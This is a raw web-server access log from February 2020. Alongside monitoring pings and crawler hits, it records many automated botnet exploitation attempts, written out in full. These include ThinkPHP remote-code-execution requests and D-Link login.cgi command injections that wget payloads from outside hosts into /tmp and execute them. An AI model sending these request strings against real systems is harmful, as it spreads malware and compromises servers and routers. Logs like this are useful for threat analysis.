212.91.246.72 - - [11/Feb/2020:14:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.191.113.28 - - [11/Feb/2020:14:19:39 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [11/Feb/2020:14:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.191.113.28 - - [11/Feb/2020:14:19:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:42 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:44 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:45 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.113.28 - - [11/Feb/2020:14:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
178.94.24.146 - - [11/Feb/2020:14:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:14:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.241.106 - - [11/Feb/2020:14:25:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.145.46 - - [11/Feb/2020:14:26:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.155.54.195 - - [11/Feb/2020:14:28:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:14:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.208.102.37 - - [11/Feb/2020:14:32:56 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
54.208.102.37 - - [11/Feb/2020:14:32:56 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/favicon.ico" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
212.91.246.72 - - [11/Feb/2020:14:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [11/Feb/2020:14:35:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:14:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.196.76.30 - - [11/Feb/2020:14:37:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:14:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.164.140 - - [11/Feb/2020:14:37:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [11/Feb/2020:14:39:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.252.11.125 - - [11/Feb/2020:14:42:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:14:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.245.163.14 - - [11/Feb/2020:14:43:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:14:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.166.33.139 - - [11/Feb/2020:14:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:14:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.123.40 - - [11/Feb/2020:14:46:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [11/Feb/2020:14:46:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [11/Feb/2020:14:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.61.161 - - [11/Feb/2020:14:47:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.76.223.13 - - [11/Feb/2020:14:49:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
78.175.26.126 - - [11/Feb/2020:14:49:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:14:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [11/Feb/2020:14:52:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.139 - - [11/Feb/2020:14:54:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.169 - - [11/Feb/2020:14:55:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.188.224.234 - - [11/Feb/2020:14:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.188.224.234 - - [11/Feb/2020:14:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.188.224.234 - - [11/Feb/2020:14:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:14:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.8.27.151 - - [11/Feb/2020:15:03:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [11/Feb/2020:15:09:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.55.3.110 - - [11/Feb/2020:15:09:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.43.168 - - [11/Feb/2020:15:10:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.51.1.169 - - [11/Feb/2020:15:10:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
197.51.1.169 - - [11/Feb/2020:15:10:07 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
197.51.1.169 - - [11/Feb/2020:15:10:07 +0100] "POST /Admin52f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
42.115.202.169 - - [11/Feb/2020:15:10:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.41.61 - - [11/Feb/2020:15:11:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.235.104.180 - - [11/Feb/2020:15:15:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:15:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [11/Feb/2020:15:16:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [11/Feb/2020:15:16:34 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:15:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [11/Feb/2020:15:16:48 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [11/Feb/2020:15:17:29 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:15:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [11/Feb/2020:15:17:44 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
35.203.47.162 - - [11/Feb/2020:15:18:16 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [11/Feb/2020:15:18:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
1.55.23.47 - - [11/Feb/2020:15:18:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.34 - - [11/Feb/2020:15:18:36 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:15:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [11/Feb/2020:15:18:50 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [11/Feb/2020:15:19:32 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:15:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [11/Feb/2020:15:19:46 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
176.27.109.44 - - [11/Feb/2020:15:20:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:15:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.126.82.170 - - [11/Feb/2020:15:23:19 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.82.170 - - [11/Feb/2020:15:23:19 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
35.241.143.117 - - [11/Feb/2020:15:23:22 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
118.126.82.170 - - [11/Feb/2020:15:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [11/Feb/2020:15:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.65.124.98 - - [11/Feb/2020:15:25:49 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:15:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.53.92.94 - - [11/Feb/2020:15:28:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [11/Feb/2020:15:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.194.110.13 - - [11/Feb/2020:15:31:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [11/Feb/2020:15:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.25.156 - - [11/Feb/2020:15:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
